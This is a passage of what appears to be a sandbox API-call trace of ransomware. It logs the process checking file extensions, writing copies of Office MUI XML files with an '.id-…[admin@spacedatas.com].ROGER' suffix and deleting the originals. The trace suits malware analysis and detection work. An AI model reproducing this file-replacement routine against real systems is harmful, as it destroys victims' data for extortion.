(lpString=".jpg") returned 4 [0042.552] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0042.552] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.552] lstrlenW (lpString="AccessMUI.XML") returned 13 [0042.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.553] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1349) returned 1 [0042.553] CloseHandle (hObject=0x35c) returned 1 [0042.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0042.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.553] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.553] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0042.554] GetLastError () returned 0x0 [0042.554] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x545, lpOverlapped=0x0) returned 1 [0042.572] WriteFile (in: hFile=0x38c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x550, lpOverlapped=0x0) returned 1 [0042.573] ReadFile (in: hFile=0x35c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.573] WriteFile (in: hFile=0x38c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xee, lpOverlapped=0x0) returned 1 [0042.573] SetEndOfFile (hFile=0x38c) returned 1 [0042.573] CloseHandle (hObject=0x38c) returned 1 [0042.573] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.573] SetEndOfFile (hFile=0x35c) returned 1 [0042.574] CloseHandle (hObject=0x35c) returned 1 [0042.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.574] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0042.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.575] lstrlenW (lpString=".doc") returned 4 [0042.575] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.575] lstrlenW (lpString=".docx") returned 5 [0042.575] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.575] lstrlenW (lpString=".pdf") returned 4 [0042.575] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.575] lstrlenW (lpString=".xls") returned 4 [0042.575] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.575] lstrlenW (lpString=".xlsx") returned 5 [0042.575] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.575] lstrlenW (lpString=".ppt") returned 4 [0042.575] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.575] lstrlenW (lpString=".zip") returned 4 [0042.575] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.575] lstrlenW (lpString=".rar") returned 4 [0042.575] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.575] lstrlenW (lpString=".bz2") returned 4 [0042.575] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.575] lstrlenW (lpString=".7z") returned 3 [0042.575] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.575] lstrlenW (lpString=".dbf") returned 4 [0042.575] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.575] lstrlenW (lpString=".1cd") returned 4 [0042.576] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.576] lstrlenW (lpString=".jpg") returned 4 [0042.576] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.576] lstrlenW (lpString=".doc") returned 4 [0042.576] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.576] lstrlenW (lpString=".docx") returned 5 [0042.576] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.576] lstrlenW (lpString=".pdf") returned 4 [0042.576] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.576] lstrlenW (lpString=".xls") returned 4 [0042.576] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.576] lstrlenW (lpString=".xlsx") returned 5 [0042.576] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.576] lstrlenW (lpString=".ppt") returned 4 [0042.576] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.576] lstrlenW (lpString=".zip") returned 4 [0042.576] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.576] lstrlenW (lpString=".rar") returned 4 [0042.576] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.576] lstrlenW (lpString=".bz2") returned 4 [0042.576] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.727] lstrlenW (lpString=".7z") returned 3 [0042.727] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.727] lstrlenW (lpString=".dbf") returned 4 [0042.727] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.727] lstrlenW (lpString=".1cd") returned 4 [0042.727] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0042.727] lstrlenW (lpString=".jpg") returned 4 [0042.727] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.727] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.728] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0042.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.728] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1565) returned 1 [0042.728] CloseHandle (hObject=0x36c) returned 1 [0042.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0042.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.728] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.728] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0042.797] GetLastError () returned 0x0 [0042.797] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x61d, lpOverlapped=0x0) returned 1 [0042.799] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x620, lpOverlapped=0x0) returned 1 [0042.800] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.800] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.800] SetEndOfFile (hFile=0x3b0) returned 1 [0042.800] CloseHandle (hObject=0x3b0) returned 1 [0042.801] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.801] SetEndOfFile (hFile=0x36c) returned 1 [0042.801] CloseHandle (hObject=0x36c) returned 1 [0042.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.802] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0042.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.802] lstrlenW (lpString=".doc") returned 4 [0042.802] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.802] lstrlenW (lpString=".docx") returned 5 [0042.802] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.802] lstrlenW (lpString=".pdf") returned 4 [0042.802] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.802] lstrlenW (lpString=".xls") returned 4 [0042.802] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.802] lstrlenW (lpString=".xlsx") returned 5 [0042.802] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.802] lstrlenW (lpString=".ppt") returned 4 [0042.802] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.802] lstrlenW (lpString=".zip") returned 4 [0042.802] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.802] lstrlenW (lpString=".rar") returned 4 [0042.802] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.802] lstrlenW (lpString=".bz2") returned 4 [0042.803] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString=".7z") returned 3 [0042.803] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.803] lstrlenW (lpString=".dbf") returned 4 [0042.803] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.803] lstrlenW (lpString=".1cd") returned 4 [0042.803] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.803] lstrlenW (lpString=".jpg") returned 4 [0042.803] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.803] lstrlenW (lpString=".doc") returned 4 [0042.803] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString=".docx") returned 5 [0042.803] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.803] lstrlenW (lpString=".pdf") returned 4 [0042.803] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString=".xls") returned 4 [0042.803] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString=".xlsx") returned 5 [0042.803] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.803] lstrlenW (lpString=".ppt") returned 4 [0042.803] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.803] lstrlenW (lpString=".zip") returned 4 [0042.803] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.803] lstrlenW (lpString=".rar") returned 4 [0042.803] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.803] lstrlenW (lpString=".bz2") returned 4 [0042.804] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.804] lstrlenW (lpString=".7z") returned 3 [0042.804] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.804] lstrlenW (lpString=".dbf") returned 4 [0042.804] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.804] lstrlenW (lpString=".1cd") returned 4 [0042.804] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0042.804] lstrlenW (lpString=".jpg") returned 4 [0042.804] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.804] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.804] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0042.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.804] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=913) returned 1 [0042.804] CloseHandle (hObject=0x36c) returned 1 [0042.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0042.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.805] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.805] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0042.806] GetLastError () returned 0x0 [0042.807] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x391, lpOverlapped=0x0) returned 1 [0042.810] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0042.811] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.811] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xee, lpOverlapped=0x0) returned 1 [0042.811] SetEndOfFile (hFile=0x3b0) returned 1 [0042.812] CloseHandle (hObject=0x3b0) returned 1 [0042.812] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.812] SetEndOfFile (hFile=0x36c) returned 1 [0042.813] CloseHandle (hObject=0x36c) returned 1 [0042.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.813] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0042.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.814] lstrlenW (lpString=".doc") returned 4 [0042.814] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString=".docx") returned 5 [0042.814] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.814] lstrlenW (lpString=".pdf") returned 4 [0042.814] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString=".xls") returned 4 [0042.814] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString=".xlsx") returned 5 [0042.814] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.814] lstrlenW (lpString=".ppt") returned 4 [0042.814] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.814] lstrlenW (lpString=".zip") returned 4 [0042.814] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.814] lstrlenW (lpString=".rar") returned 4 [0042.814] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString=".bz2") returned 4 [0042.814] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString=".7z") returned 3 [0042.814] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.814] lstrlenW (lpString=".dbf") returned 4 [0042.814] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.814] lstrlenW (lpString=".1cd") returned 4 [0042.814] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.815] lstrlenW (lpString=".jpg") returned 4 [0042.815] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0042.815] lstrlenW (lpString=".doc") returned 4 [0042.815] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString=".docx") returned 5 [0042.815] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.815] lstrlenW (lpString=".pdf") returned 4 [0042.815] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString=".xls") returned 4 [0042.815] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.815] lstrlenW (lpString=".xlsx") returned 5 [0042.815] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.815] lstrlenW (lpString=".ppt") returned 4 [0042.815] lstrcmpiW (lpString1=".ppt", 